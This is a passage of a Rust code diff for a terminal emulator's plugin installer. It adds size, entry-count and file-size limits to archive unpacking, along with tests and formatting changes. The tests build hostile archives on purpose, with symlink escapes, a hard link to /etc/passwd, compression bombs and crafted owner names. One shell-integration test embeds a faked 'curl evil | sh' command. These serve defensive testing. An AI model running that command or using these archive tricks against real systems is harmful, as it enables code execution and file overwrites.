+ let listed = tar_lines("-tvzf", archive, |line| { if !(line.starts_with('-') || line.starts_with('d')) || line.contains(" link to ") || line.contains(" -> ") { return Err(bad("has a link or special file")); } - } - for entry in String::from_utf8_lossy(&list.stdout).lines() { + entries += 1; + if entries > limits.entries { + return Err(too_many()); + } + // An early answer only: the owner's name comes before the size and + // can put it out of place, so the total is counted again below. + if let Some(bytes) = listed_size(line).filter(|_| line.starts_with('-')) { + if bytes > limits.file { + return Err(file_too_big()); + } + total = total.saturating_add(bytes); + if total > limits.unpacked { + return Err(too_big()); + } + } + Ok(()) + })?; + let mut names = 0usize; + let named = tar_lines("-tzf", archive, |entry| { + names += 1; + if names > limits.entries { + return Err(too_many()); + } let path = Path::new(entry); if path.is_absolute() || path.components().any(|c| matches!(c, std::path::Component::ParentDir)) { return Err(bad("has files outside its folder")); } + Ok(()) + })?; + if !listed || !named { + return Err(bad("isn't a .tar.gz archive")); } + if unpacks_past(archive, limits.unpacked)? { + return Err(too_big()); + } + std::fs::create_dir_all(into).map_err(|e| format!("{}: {e}", into.display()))?; - let out = std::process::Command::new("tar") - .arg("-xzf") - .arg(archive) - .arg("-C") - .arg(into) - .args(["--no-same-owner", "--no-same-permissions"]) - .output() - .map_err(|e| format!("couldn't run tar: {e}"))?; + let mut tar = std::process::Command::new("tar"); + tar.arg("-xzf").arg(archive).arg("-C").arg(into).args(["--no-same-owner", "--no-same-permissions"]); + cap_file_size(&mut tar, limits.file); + let out = tar.output().map_err(|e| format!("couldn't run tar: {e}"))?; if !out.status.success() { + use std::os::unix::process::ExitStatusExt; + if out.status.signal() == Some(libc::SIGXFSZ) { + return Err(file_too_big()); + } return Err(bad(&format!("couldn't be unpacked ({})", String::from_utf8_lossy(&out.stderr).trim()))); } - // Checked again once unpacked, in case the listing missed one. - fn check(dir: &Path) -> Result<(), String> { + // Checked again once unpacked, in case the listing missed something. + fn check(dir: &Path, limits: &Limits, entries: &mut usize, total: &mut u64) -> Result<(), String> { + let over = |what: String| format!("the download {what}; not installed"); for e in std::fs::read_dir(dir).map_err(|e| e.to_string())?.flatten() { let kind = e.file_type().map_err(|e| e.to_string())?; + *entries += 1; + if *entries > limits.entries { + return Err(over(format!("has more than {} files", limits.entries))); + } if kind.is_dir() { - check(&e.path())?; + check(&e.path(), limits, entries, total)?; } else if !kind.is_file() { - return Err(format!("the download has a link or special file ({}); not installed", e.file_name().to_string_lossy())); + return Err(over(format!("has a link or special file ({})", e.file_name().to_string_lossy()))); + } else { + let bytes = e.metadata().map_err(|e| e.to_string())?.len(); + if bytes > limits.file { + return Err(over(format!("has a file over {}", size(limits.file)))); + } + *total = total.saturating_add(bytes); + if *total > limits.unpacked { + return Err(over(format!("unpacks to more than {}", size(limits.unpacked)))); + } } } Ok(()) } - check(into)?; + check(into, limits, &mut 0, &mut 0)?; let tops: Vec = std::fs::read_dir(into).map_err(|e| e.to_string())?.flatten().map(|e| e.path()).collect(); match tops.as_slice() { [one] if one.is_dir() => Ok(one.clone()), @@ -799,8 +1024,10 @@ mod tests { #[test] fn updates_are_counted() { - let installed = |v: &str| Installed { version: v.into(), commit: "c".repeat(40), permissions: vec![], dir: PathBuf::new() }; - let all = BTreeMap::from([("mira/x".to_string(), installed("1.0.0")), ("mira/y".to_string(), installed("1.0.0"))]); + let installed = + |v: &str| Installed { version: v.into(), commit: "c".repeat(40), permissions: vec![], dir: PathBuf::new() }; + let all = + BTreeMap::from([("mira/x".to_string(), installed("1.0.0")), ("mira/y".to_string(), installed("1.0.0"))]); let index = Index { version: 1, plugins: vec![ @@ -849,7 +1076,11 @@ mod tests { docker.categories = vec!["containers".into()]; let index = Index { version: 1, - plugins: vec![entry("a/git-tools", 5, &[("1.0.0", "1.0.0")]), docker, entry("b/git-more", 50, &[("1.0.0", "1.0.0")])], + plugins: vec![ + entry("a/git-tools", 5, &[("1.0.0", "1.0.0")]), + docker, + entry("b/git-more", 50, &[("1.0.0", "1.0.0")]), + ], }; let names = |text: &str| search(&index, text).iter().map(|e| e.name.clone()).collect::>(); assert_eq!(names("GIT"), ["b/git-more", "a/git-tools"], "any case, most stars first"); @@ -953,7 +1184,8 @@ mod tests { } }); assert_eq!(load_installed_from(&p.installed).len(), 8, "no install lost"); - let approvals = (0..8).filter(|i| !crate::plugins::registry_approval_in(&p.approvals, &format!("mira/p{i}")).is_empty()); + let approvals = + (0..8).filter(|i| !crate::plugins::registry_approval_in(&p.approvals, &format!("mira/p{i}")).is_empty()); assert_eq!(approvals.count(), 8, "no approval lost"); let config = config(&p); assert_eq!((0..8).filter(|i| config.contains(&format!("\"mira/p{i}\""))).count(), 8, "{config}"); @@ -971,6 +1203,72 @@ mod tests { std::fs::remove_dir_all(dir).unwrap(); } + /// Everything an install changes, to compare before and after. + fn state(p: &Paths) -> (String, Vec) { + fn files(dir: &Path, out: &mut Vec) { + for e in std::fs::read_dir(dir).into_iter().flatten().flatten() { + if e.path().is_dir() { + files(&e.path(), out); + } else { + out.push(format!( + "{}={}", + e.path().display(), + std::fs::read_to_string(e.path()).unwrap_or_default() + )); + } + } + } + let mut found = Vec::new(); + files(&p.root, &mut found); + found.sort(); + let installed: Vec<_> = + load_installed_from(&p.installed).into_iter().map(|(n, i)| (n, i.version, i.dir)).collect(); + ( + format!("{found:?} {installed:?} {:?}", config(p)), + crate::plugins::registry_approval_in(&p.approvals, "mira/x"), + ) + } + + #[test] + fn an_install_that_cant_keep_its_approval_changes_nothing() { + let (dir, p) = paths("no-approval"); + let idx = index_with(vec![release("1.0.0", vec![Permission::Panes], archive(&dir, "1.0.0", "\"panes\""))]); + // The approvals file can't be written: a folder is in its way. + std::fs::create_dir_all(&p.approvals).unwrap(); + let before = state(&p); + let e = install_in(&p, &idx, "mira/x", &Approve::Yes).unwrap_err(); + assert!(e.contains("couldn't keep your approval") && e.contains("not installed"), "{e}"); + assert_eq!(state(&p), before); + assert!(!p.root.join("mira/x").exists() || std::fs::read_dir(p.root.join("mira/x")).unwrap().next().is_none()); + std::fs::remove_dir_all(dir).unwrap(); + } + + #[test] + fn an_update_that_cant_be_turned_on_leaves_the_old_version() { + let (dir, p) = paths("no-enable"); + let v1 = release("1.0.0", vec![Permission::Panes], archive(&dir, "1.0.0", "\"panes\"")); + let v2 = release( + "1.1.0", + vec![Permission::Panes, Permission::Input], + archive(&dir, "1.1.0", "\"panes\", \"input\""), + ); + install_in(&p, &index_with(vec![v1.clone()]), "mira/x", &Approve::Yes).unwrap(); + let before = state(&p); + // config.toml can't be rewritten: its folder is read-only. + use std::os::unix::fs::PermissionsExt; + let folder = p.config.parent().unwrap().to_path_buf(); + std::fs::set_permissions(&folder, std::fs::Permissions::from_mode(0o500)).unwrap(); + let result = update_in(&p, &index_with(vec![v1, v2]), "mira/x", &Approve::Yes); + std::fs::set_permissions(&folder, std::fs::Permissions::from_mode(0o700)).unwrap(); + let e = result.unwrap_err(); + assert!(e.contains("couldn't turn it on") && e.contains("not installed"), "{e}"); + // The old files, record and approval (without `input`) are as they were. + assert_eq!(state(&p), before); + assert_eq!(before.1, vec![Permission::Panes]); + assert!(!p.root.join("mira/x/1.1.0").exists()); + std::fs::remove_dir_all(dir).unwrap(); + } + #[test] fn refused_approval_installs_nothing() { let (dir, p) = paths("refused"); @@ -1004,7 +1302,11 @@ mod tests { let (dir, p) = paths("update-asks"); let v1 = release("1.0.0", vec![Permission::Panes], archive(&dir, "1.0.0", "\"panes\"")); install_in(&p, &index_with(vec![v1.clone()]), "mira/x", &Approve::Yes).unwrap(); - let v2 = release("2.0.0", vec![Permission::Panes, Permission::Screen], archive(&dir, "2.0.0", "\"panes\", \"screen\"")); + let v2 = release( + "2.0.0", + vec![Permission::Panes, Permission::Screen], + archive(&dir, "2.0.0", "\"panes\", \"screen\""), + ); let asked = std::cell::RefCell::new(Vec::new()); let ask = |_: &str, new: &[Permission]| { asked.borrow_mut().extend_from_slice(new); @@ -1015,7 +1317,10 @@ mod tests { assert_eq!(load_installed_from(&p.installed)["mira/x"].version, "1.0.0"); let yes = |_: &str, _: &[Permission]| true; update_in(&p, &index_with(vec![v1, v2]), "mira/x", &Approve::Ask(&yes)).unwrap(); - assert_eq!(crate::plugins::registry_approval_in(&p.approvals, "mira/x"), vec![Permission::Panes, Permission::Screen]); + assert_eq!( + crate::plugins::registry_approval_in(&p.approvals, "mira/x"), + vec![Permission::Panes, Permission::Screen] + ); std::fs::remove_dir_all(dir).unwrap(); } @@ -1035,6 +1340,109 @@ mod tests { std::fs::remove_dir_all(dir).unwrap(); } + #[test] + fn listing_sizes_are_read_from_gnu_and_bsd_tar() { + assert_eq!(listed_size("-rw-r--r-- root/root 1234 2026-11-18 10:00 x/main.py"), Some(1234)); + assert_eq!(listed_size("-rw-r--r-- 0 root wheel 5678 Nov 18 10:00 x/main.py"), Some(5678)); + assert_eq!(listed_size("drwxr-xr-x root/root 0 2026-11-18 10:00 x/"), Some(0)); + assert_eq!(listed_size("nonsense"), None); + assert_eq!((size(50 * MB), size(1500)), ("50 MB".to_string(), "2 KB".to_string())); + } + + #[test] + fn archives_over_the_limits_are_refused() { + let (dir, _p) = paths("limits"); + // 40 files of 1000 bytes, which pack down to almost nothing. + let top = dir.join("src/x"); + std::fs::create_dir_all(&top).unwrap(); + for n in 0..40 { + std::fs::write(top.join(format!("f{n}")), "0".repeat(1000)).unwrap(); + } + let archive = dir.join("x.tar.gz"); + let ok = std::process::Command::new("tar") + .arg("-czf") + .arg(&archive) + .arg("-C") + .arg(dir.join("src")) + .arg("x") + .status() + .unwrap() + .success(); + assert!(ok); + let packed = std::fs::metadata(&archive).unwrap().len(); + assert!(packed < 2000, "it compresses well: {packed}"); + let roomy = || Limits { archive: 1 << 20, entries: 100, file: 1 << 20, unpacked: 1 << 20 }; + let mut n = 0; + let mut attempt = |limits: Limits| { + n += 1; + let into = dir.join(format!("out-{n}")); + (unpack_within(&archive, &into, &limits), into) + }; + assert!(attempt(roomy()).0.is_ok()); + let (e, _) = attempt(Limits { archive: 100, ..roomy() }); + assert!(e.unwrap_err().contains("is over 1 KB")); + // Refused from the listing: nothing is unpacked. + let (e, into) = attempt(Limits { entries: 10, ..roomy() }); + assert!(e.unwrap_err().contains("has more than 10 files") && !into.exists()); + let (e, into) = attempt(Limits { file: 999, ..roomy() }); + assert!(e.unwrap_err().contains("has a file over 1 KB") && !into.exists()); + let (e, into) = attempt(Limits { unpacked: 20_000, ..roomy() }); + assert!(e.unwrap_err().contains("unpacks to more than 20 KB") && !into.exists()); + // Too big to download at all. + let e = fetch_within(archive.to_str().unwrap(), &dir.join("copy"), 100).unwrap_err(); + assert!(e.contains("is over 1 KB; not downloaded") && !dir.join("copy").exists(), "{e}"); + std::fs::remove_dir_all(dir).unwrap(); + } + + #[test] + fn a_listing_that_hides_sizes_cannot_hide_how_much_unpacks() { + // The owner's name is the archive's to choose and is printed before + // the size, so one with spaces in it moves the size out of place. + let (dir, _p) = paths("owner"); + let archive = dir.join("x.tar.gz"); + let script = "import io, sys, tarfile\nt = tarfile.open(sys.argv[1], 'w:gz')\n\ + for n in range(40):\n \ + i = tarfile.TarInfo(f'x/f{n}'); i.size = 1000; i.uname = 'a/b 0 '; i.gname = 'g'\n \ + t.addfile(i, io.BytesIO(b'0' * 1000))\nt.close()"; + let ok = std::process::Command::new("python3").args(["-c", script]).arg(&archive).status().unwrap().success(); + assert!(ok); + let limits = |unpacked| Limits { archive: 1 << 20, entries: 100, file: 1 << 20, unpacked }; + // Refused before tar writes anything. + let into = dir.join("out"); + let e = unpack_within(&archive, &into, &limits(20_000)).unwrap_err(); + assert!(e.contains("unpacks to more than 20 KB") && !into.exists(), "{e}"); + assert!(unpack_within(&archive, &into, &limits(40_000)).is_ok()); + std::fs::remove_dir_all(dir).unwrap(); + } + + #[test] + fn tar_cannot_write_a_file_past_the_limit() { + // What stops a file whose size the listing didn't give away. + let (dir, _p) = paths("fsize"); + std::fs::create_dir_all(dir.join("src/x")).unwrap(); + std::fs::write(dir.join("src/x/big"), "0".repeat(300_000)).unwrap(); + let archive = dir.join("x.tar.gz"); + assert!( + std::process::Command::new("tar") + .arg("-czf") + .arg(&archive) + .arg("-C") + .arg(dir.join("src")) + .arg("x") + .status() + .unwrap() + .success() + ); + let mut tar = std::process::Command::new("tar"); + std::fs::create_dir_all(dir.join("out")).unwrap(); + tar.arg("-xzf").arg(&archive).arg("-C").arg(dir.join("out")); + cap_file_size(&mut tar, 100_000); + use std::os::unix::process::ExitStatusExt; + assert_eq!(tar.output().unwrap().status.signal(), Some(libc::SIGXFSZ)); + assert!(std::fs::metadata(dir.join("out/x/big")).map_or(0, |m| m.len()) <= 100_000); + std::fs::remove_dir_all(dir).unwrap(); + } + #[test] fn archives_cannot_escape() { let (dir, p) = paths("escape"); @@ -1061,7 +1469,9 @@ mod tests { make("two.tar.gz", &format!("{head}add('y/other')\nt.close()")), make( "through-link.tar.gz", - &format!("{head}add('x/out', kind=tarfile.SYMTYPE, link=sys.argv[2])\nadd('x/out/evil-through')\nt.close()"), + &format!( + "{head}add('x/out', kind=tarfile.SYMTYPE, link=sys.argv[2])\nadd('x/out/evil-through')\nt.close()" + ), ), make("hard.tar.gz", &format!("{head}add('x/hard', kind=tarfile.LNKTYPE, link='/etc/passwd')\nt.close()")), ]; @@ -1132,7 +1542,15 @@ mod tests { std::fs::create_dir_all(p.config.parent().unwrap()).unwrap(); std::fs::write(&p.config, "plugins = [\"pomodoro\"]\n[plugin.pomodoro]\nlong-break-every = 3\n").unwrap(); let mut all = BTreeMap::new(); - all.insert("sn/pomodoro".to_string(), Installed { version: "1.0.0".into(), commit: "c".repeat(40), permissions: vec![], dir: p.root.join("sn/pomodoro") }); + all.insert( + "sn/pomodoro".to_string(), + Installed { + version: "1.0.0".into(), + commit: "c".repeat(40), + permissions: vec![], + dir: p.root.join("sn/pomodoro"), + }, + ); save_installed_to(&p.installed, &all).unwrap(); std::fs::create_dir_all(p.data.join("pomodoro")).unwrap(); remove_in(&p, "sn/pomodoro", true).unwrap(); @@ -1148,7 +1566,8 @@ mod tests { assert!(valid_name(good), "{good}"); } let long = format!("a/{}", "b".repeat(40)); - for bad in ["mira", "Mira/x", "mira/-x", "mira/x-", "mira/x/y", "../x", "mira/", "/x", "mi ra/x", long.as_str()] { + for bad in ["mira", "Mira/x", "mira/-x", "mira/x-", "mira/x/y", "../x", "mira/", "/x", "mi ra/x", long.as_str()] + { assert!(!valid_name(bad), "{bad}"); } } @@ -1160,7 +1579,12 @@ mod tests { let mut all = BTreeMap::new(); all.insert( "mira/x".to_string(), - Installed { version: "1.0.0".into(), commit: "a".repeat(40), permissions: vec![Permission::Panes], dir: dir.join("x") }, + Installed { + version: "1.0.0".into(), + commit: "a".repeat(40), + permissions: vec![Permission::Panes], + dir: dir.join("x"), + }, ); all.insert( "mira/y".to_string(), diff --git a/src/scrollbar.rs b/src/scrollbar.rs index fec21a1..3827588 100644 --- a/src/scrollbar.rs +++ b/src/scrollbar.rs @@ -90,11 +90,7 @@ pub fn opacity(shown_at: Option, now: Instant, held: bool) -> f32 { } let Some(at) = shown_at else { return 0.0 }; let since = now.saturating_duration_since(at); - if since <= SHOW_FOR { - 1.0 - } else { - 1.0 - ((since - SHOW_FOR).as_secs_f32() / FADE_FOR.as_secs_f32()).min(1.0) - } + if since <= SHOW_FOR { 1.0 } else { 1.0 - ((since - SHOW_FOR).as_secs_f32() / FADE_FOR.as_secs_f32()).min(1.0) } } #[cfg(test)] diff --git a/src/session.rs b/src/session.rs index a11f8a7..d99743b 100644 --- a/src/session.rs +++ b/src/session.rs @@ -97,9 +97,7 @@ fn path() -> Option { let base = if cfg!(target_os = "macos") { home?.join("Library/Application Support") } else { - std::env::var_os("XDG_STATE_HOME") - .map(PathBuf::from) - .or_else(|| home.map(|h| h.join(".local/state")))? + std::env::var_os("XDG_STATE_HOME").map(PathBuf::from).or_else(|| home.map(|h| h.join(".local/state")))? }; Some(base.join("lumen").join("session.json")) } @@ -133,20 +131,15 @@ fn parse(text: &str) -> Vec { /// Repair one window's saved state; None if it has no panes left. fn clean(session: Session) -> Option { - let tabs: Vec = session - .tabs - .into_iter() - .filter_map(|t| Some(TabState { root: t.root.sanitize()?, ..t })) - .collect(); + let tabs: Vec = + session.tabs.into_iter().filter_map(|t| Some(TabState { root: t.root.sanitize()?, ..t })).collect(); if tabs.is_empty() { return None; } let active_tab = session.active_tab.min(tabs.len() - 1); - let window = session.window.filter(|w| { - [w.x, w.y, w.width, w.height].iter().all(|v| v.is_finite()) - && w.width > 0.0 - && w.height > 0.0 - }); + let window = session + .window + .filter(|w| [w.x, w.y, w.width, w.height].iter().all(|v| v.is_finite()) && w.width > 0.0 && w.height > 0.0); Some(Session::new(window, active_tab, tabs)) } @@ -236,13 +229,17 @@ mod tests { use super::*; fn window(cwd: &str) -> Session { - Session::new(None, 0, vec![TabState { - root: NodeState::Pane { cwd: Some(cwd.into()) }, - active: 0, - zoomed: false, - title: None, - color: None, - }]) + Session::new( + None, + 0, + vec![TabState { + root: NodeState::Pane { cwd: Some(cwd.into()) }, + active: 0, + zoomed: false, + title: None, + color: None, + }], + ) } #[test] diff --git a/src/settings.rs b/src/settings.rs index 09a8f4d..316cf41 100644 --- a/src/settings.rs +++ b/src/settings.rs @@ -200,7 +200,10 @@ pub enum Bell { pub enum ThemeChoice { One(usize), /// `theme = "light:A, dark:B"`. - Pair { light: usize, dark: usize }, + Pair { + light: usize, + dark: usize, + }, } impl Global for Settings {} @@ -340,7 +343,13 @@ impl Settings { pub fn shown_index(&self) -> usize { let i = match self.theme_choice { ThemeChoice::One(i) => i, - ThemeChoice::Pair { light, dark } => if self.dark { dark } else { light }, + ThemeChoice::Pair { light, dark } => { + if self.dark { + dark + } else { + light + } + } }; i.min(self.themes.len() - 1) } @@ -602,7 +611,8 @@ impl Settings { } } (!bad_names.is_empty()).then(|| { - let names: Vec<_> = crate::plugins::BUILTINS.iter().map(|b| format!("\"{}\"", b.name)).collect(); + let names: Vec<_> = + crate::plugins::BUILTINS.iter().map(|b| format!("\"{}\"", b.name)).collect(); format!( "unknown plugin {}: use a built-in one ({}) or an installed one as \"owner/name\"", bad_names.join(", "), @@ -616,7 +626,10 @@ impl Settings { Some(t) => { let mut bad_names = Vec::new(); for (name, sub) in t.iter() { - let table = sub.as_table().cloned().or_else(|| sub.as_inline_table().map(|i| i.clone().into_table())); + let table = sub + .as_table() + .cloned() + .or_else(|| sub.as_inline_table().map(|i| i.clone().into_table())); match table { // An old built-in name's table counts for its // registry plugin, unless that has its own. @@ -628,7 +641,9 @@ impl Settings { s.plugin_settings.insert(name.to_string(), PluginTable(table)); } }, - None => bad_names.push(format!("`plugin.{name}` should be a table like [plugin.{name}]")), + None => { + bad_names.push(format!("`plugin.{name}` should be a table like [plugin.{name}]")) + } } } (!bad_names.is_empty()).then(|| bad_names.join("; ")) @@ -1019,11 +1034,8 @@ impl Settings { if self.keys.is_empty() { return "#\n# [keys]\n# ctrl-alt-t = \"new-tab\"\n# ctrl-tab = \"none\"\n".into(); } - let lines: Vec<_> = self - .keys - .iter() - .map(|(k, a)| format!("\"{k}\" = \"{}\"", a.as_deref().unwrap_or(keymap::NONE))) - .collect(); + let lines: Vec<_> = + self.keys.iter().map(|(k, a)| format!("\"{k}\" = \"{}\"", a.as_deref().unwrap_or(keymap::NONE))).collect(); format!("[keys]\n{}\n", lines.join("\n")) } @@ -1054,11 +1066,8 @@ impl Settings { changed = true; } if doc.get("font-size").and_then(number).map(|v| v as f32) != Some(self.font_size) { - doc["font-size"] = if self.font_size.fract() == 0.0 { - value(self.font_size as i64) - } else { - value(self.font_size as f64) - }; + doc["font-size"] = + if self.font_size.fract() == 0.0 { value(self.font_size as i64) } else { value(self.font_size as f64) }; changed = true; } let listed: Vec = doc @@ -1410,18 +1419,19 @@ mod tests { std::fs::write(dir.join("Midnight"), ghostty).unwrap(); std::fs::write(dir.join("Midnight.toml"), lumen).unwrap(); std::fs::write(dir.join("Typo.toml"), "background = \"#101010\nforeground = \"#eeeeee\"\n").unwrap(); + // Not every file system takes a name that isn't UTF-8: APFS refuses. #[cfg(unix)] - { + let odd_name = { use std::os::unix::ffi::OsStrExt; - std::fs::write(dir.join(std::ffi::OsStr::from_bytes(b"Caf\xe9")), ghostty).unwrap(); - } + std::fs::write(dir.join(std::ffi::OsStr::from_bytes(b"Caf\xe9")), ghostty).is_ok() + }; let (themes, problems) = load_theme_files(&dir); let names: Vec<&str> = themes.iter().map(|t| t.name.as_ref()).collect(); assert!(names.contains(&"Upper"), "an upper-case extension still loads: {names:?}"); assert!(names.contains(&"Catppuccin.Mocha"), "a dot in the name isn't an extension: {names:?}"); assert_eq!(names.iter().filter(|n| **n == "Midnight").count(), 1, "one Midnight: {names:?}"); #[cfg(unix)] - assert!(names.iter().any(|n| n.starts_with("Caf")), "a non-UTF-8 name still loads: {names:?}"); + assert!(!odd_name || names.iter().any(|n| n.starts_with("Caf")), "a non-UTF-8 name still loads: {names:?}"); assert!(!problems.iter().any(|p| p.contains("README")), "a README isn't a broken theme: {problems:?}"); let dup = problems.iter().find(|p| p.contains("themes/Midnight.toml")).expect("the duplicate is reported"); assert!(dup.contains("Midnight"), "{dup}"); @@ -1498,7 +1508,8 @@ mod tests { std::fs::create_dir_all(&dir).unwrap(); let path = dir.join("config.toml"); std::fs::write(&path, "# mine\nfont-size = 14\n").unwrap(); - edit_config_at(&path, |doc| doc["plugins"] = toml_edit::value(toml_edit::Array::from_iter(["mira/x"]))).unwrap(); + edit_config_at(&path, |doc| doc["plugins"] = toml_edit::value(toml_edit::Array::from_iter(["mira/x"]))) + .unwrap(); let text = std::fs::read_to_string(&path).unwrap(); assert!(text.starts_with("# mine\nfont-size = 14\n"), "{text}"); assert!(text.contains("plugins = [\"mira/x\"]"), "{text}"); @@ -1520,19 +1531,25 @@ mod tests { #[test] fn old_builtin_names_mean_their_registry_plugins() { - let s = Settings::parse("plugins = [\"pomodoro\", \"recent-dirs\", \"sn/pomodoro\"]\n[plugin.pomodoro]\nlong-break-every = 3\n"); + let s = Settings::parse( + "plugins = [\"pomodoro\", \"recent-dirs\", \"sn/pomodoro\"]\n[plugin.pomodoro]\nlong-break-every = 3\n", + ); assert!(s.problems.is_empty(), "{:?}", s.problems); assert_eq!(s.plugins, ["sn/pomodoro", "recent-dirs"]); assert_eq!(s.plugin_settings["sn/pomodoro"].get("long-break-every").and_then(|v| v.as_integer()), Some(3)); assert!(!s.plugin_settings.contains_key("pomodoro")); // A table under the new name wins, wherever it is in the file. - let both = Settings::parse("[plugin.\"sn/pomodoro\"]\nlong-break-every = 5\n[plugin.pomodoro]\nlong-break-every = 3\n"); + let both = Settings::parse( + "[plugin.\"sn/pomodoro\"]\nlong-break-every = 5\n[plugin.pomodoro]\nlong-break-every = 3\n", + ); assert_eq!(both.plugin_settings["sn/pomodoro"].get("long-break-every").and_then(|v| v.as_integer()), Some(5)); } #[test] fn plugin_tables_are_kept() { - let s = Settings::parse("[plugin.recent-dirs]\nmax-shown = 50\n[plugin.\"mira/docker-panes\"]\nengine = \"podman\"\n"); + let s = Settings::parse( + "[plugin.recent-dirs]\nmax-shown = 50\n[plugin.\"mira/docker-panes\"]\nengine = \"podman\"\n", + ); assert!(s.problems.is_empty(), "{:?}", s.problems); assert_eq!(s.plugin_settings["recent-dirs"].get("max-shown").and_then(|v| v.as_integer()), Some(50)); assert!(s.plugin_settings.contains_key("mira/docker-panes")); @@ -1596,7 +1613,11 @@ mod tests { assert!(s.copy_on_select && s.option_as_alt); assert!(!s.plugin_update_check); let bad = Settings::parse("plugin-update-check = \"no\"\n"); - assert!(bad.plugin_update_check && bad.problems.iter().any(|p| p.contains("plugin-update-check")), "{:?}", bad.problems); + assert!( + bad.plugin_update_check && bad.problems.iter().any(|p| p.contains("plugin-update-check")), + "{:?}", + bad.problems + ); assert_eq!(s.cursor_blink_interval, Duration::from_millis(800)); assert_eq!(s.word_separators.as_deref(), Some(" ,│")); assert_eq!(s.scroll_speed, 5.0); @@ -1622,7 +1643,16 @@ mod tests { unfocused-dim = 0.9\npane-gap = 30\nbell = \"loud\"\nworking-directory = \"\"\n", ); assert_eq!(s.problems.len(), 8, "{:?}", s.problems); - for key in ["scroll-speed", "cursor-blink-interval", "right-click", "link-modifier", "unfocused-dim", "pane-gap", "bell", "working-directory"] { + for key in [ + "scroll-speed", + "cursor-blink-interval", + "right-click", + "link-modifier", + "unfocused-dim", + "pane-gap", + "bell", + "working-directory", + ] { assert!(s.problems.iter().any(|p| p.contains(&format!("`{key}`"))), "{key}: {:?}", s.problems); } let d = Settings::default(); @@ -1656,7 +1686,15 @@ mod tests { #[test] fn template_round_trips() { - let s = Settings { font_size: 15.5, padding: 8.0, scrollback: 500, cursor_shape: CursorShape::Beam, cursor_blink: false, background_opacity: 0.85, ..Default::default() }; + let s = Settings { + font_size: 15.5, + padding: 8.0, + scrollback: 500, + cursor_shape: CursorShape::Beam, + cursor_blink: false, + background_opacity: 0.85, + ..Default::default() + }; let parsed = Settings::parse(&s.template()); assert!(parsed.problems.is_empty(), "{:?}", parsed.problems); assert!(parsed == s); diff --git a/src/shell_integration.rs b/src/shell_integration.rs index 3449a59..782fc32 100644 --- a/src/shell_integration.rs +++ b/src/shell_integration.rs @@ -36,9 +36,7 @@ fn install_dir() -> Option<&'static Path> { let base = if cfg!(target_os = "macos") { home?.join("Library/Application Support") } else { - std::env::var_os("XDG_DATA_HOME") - .map(PathBuf::from) - .or_else(|| home.map(|h| h.join(".local/share")))? + std::env::var_os("XDG_DATA_HOME").map(PathBuf::from).or_else(|| home.map(|h| h.join(".local/share")))? }; let dir = base.join("lumen").join("shell-integration"); let files = [ @@ -207,10 +205,7 @@ fn local_hostname() -> &'static str { std::fs::read_to_string("/proc/sys/kernel/hostname") .ok() .or_else(|| { - std::process::Command::new("hostname") - .output() - .ok() - .and_then(|o| String::from_utf8(o.stdout).ok()) + std::process::Command::new("hostname").output().ok().and_then(|o| String::from_utf8(o.stdout).ok()) }) .map(|h| h.trim().to_string()) .unwrap_or_default() @@ -586,7 +581,8 @@ mod tests { #[test] fn marks_become_links_with_the_previous_exit_status() { - let (out, shared) = rewrite(&[b"\x1b]133;A\x07$ \x1b]133;B\x07false\r\n\x1b]133;C\x07\x1b]133;D;1\x07\x1b]133;A\x07$ "]); + let (out, shared) = + rewrite(&[b"\x1b]133;A\x07$ \x1b]133;B\x07false\r\n\x1b]133;C\x07\x1b]133;D;1\x07\x1b]133;A\x07$ "]); assert_eq!( text(&out), "⎋]8;id=lumen-p1;lumen:prompt⎋\\$ ⎋]8;id=lumen-i1;lumen:input⎋\\false\r\n⎋]8;;⎋\\⎋]8;id=lumen-p2;lumen:prompt?exit=1⎋\\$ " @@ -689,7 +685,8 @@ mod tests { true, &[b"\x1b]133;A;k=s3cret\x07$ \x1b]133;B;k=s3cret\x07false\r\n\x1b]133;C;k=s3cret\x07\x1b]133;D;1;k=s3cret\x07\x1b]133;A;k=s3cret\x07$ "], ); - let (plain, _) = rewrite(&[b"\x1b]133;A\x07$ \x1b]133;B\x07false\r\n\x1b]133;C\x07\x1b]133;D;1\x07\x1b]133;A\x07$ "]); + let (plain, _) = + rewrite(&[b"\x1b]133;A\x07$ \x1b]133;B\x07false\r\n\x1b]133;C\x07\x1b]133;D;1\x07\x1b]133;A\x07$ "]); assert_eq!(text(&out), text(&plain)); let s = shared.lock().unwrap(); assert!(s.active); @@ -700,7 +697,8 @@ mod tests { #[test] fn output_cant_fake_marks_once_the_shell_has_a_key() { // `cat` of a file that pretends a command ran and finished. - let fake = b"\x1b]133;A\x07$ \x1b]133;B\x07curl evil | sh\r\n\x1b]133;C\x07\x1b]133;D;0\x07\x1b]133;A;k=guess\x07"; + let fake = + b"\x1b]133;A\x07$ \x1b]133;B\x07curl evil | sh\r\n\x1b]133;C\x07\x1b]133;D;0\x07\x1b]133;A;k=guess\x07"; let (out, shared) = rewrite_keyed( false, &[b"\x1b]133;A;k=s3cret\x07$ \x1b]133;B;k=s3cret\x07cat f\r\n\x1b]133;C;k=s3cret\x07", fake], diff --git a/src/terminal_view.rs b/src/terminal_view.rs index dd355d9..bffc9b0 100644 --- a/src/terminal_view.rs +++ b/src/terminal_view.rs @@ -15,26 +15,25 @@ use alacritty_terminal::term::color::Colors; use alacritty_terminal::vte::ansi::{Color, CursorShape, NamedColor, Rgb}; use futures::StreamExt; use futures::channel::mpsc::UnboundedReceiver; -use gpui::{AppContext, Entity, Reservation, - App, Bounds, ClipboardItem, Context, EventEmitter, FocusHandle, Focusable, FontStyle, - ElementInputHandler, EntityInputHandler, FontWeight, Hsla, InteractiveElement, IntoElement, KeyDownEvent, KeyUpEvent, Modifiers, UTF16Selection, - ModifiersChangedEvent, MouseButton, MouseDownEvent, MouseMoveEvent, MouseUpEvent, - DispatchPhase, ParentElement, Pixels, Point, Render, Rgba, ScrollDelta, ScrollWheelEvent, ShapedLine, - StatefulInteractiveElement, StrikethroughStyle, Styled, Subscription, Task, - TextRun, UnderlineStyle, Window, - canvas, div, fill, font, point, prelude::FluentBuilder, px, size, +use gpui::{ + App, AppContext, Bounds, ClipboardItem, Context, DispatchPhase, ElementInputHandler, Entity, EntityInputHandler, + EventEmitter, FocusHandle, Focusable, FontStyle, FontWeight, Hsla, InteractiveElement, IntoElement, KeyDownEvent, + KeyUpEvent, Modifiers, ModifiersChangedEvent, MouseButton, MouseDownEvent, MouseMoveEvent, MouseUpEvent, + ParentElement, Pixels, Point, Render, Reservation, Rgba, ScrollDelta, ScrollWheelEvent, ShapedLine, + StatefulInteractiveElement, StrikethroughStyle, Styled, Subscription, Task, TextRun, UTF16Selection, + UnderlineStyle, Window, canvas, div, fill, font, point, 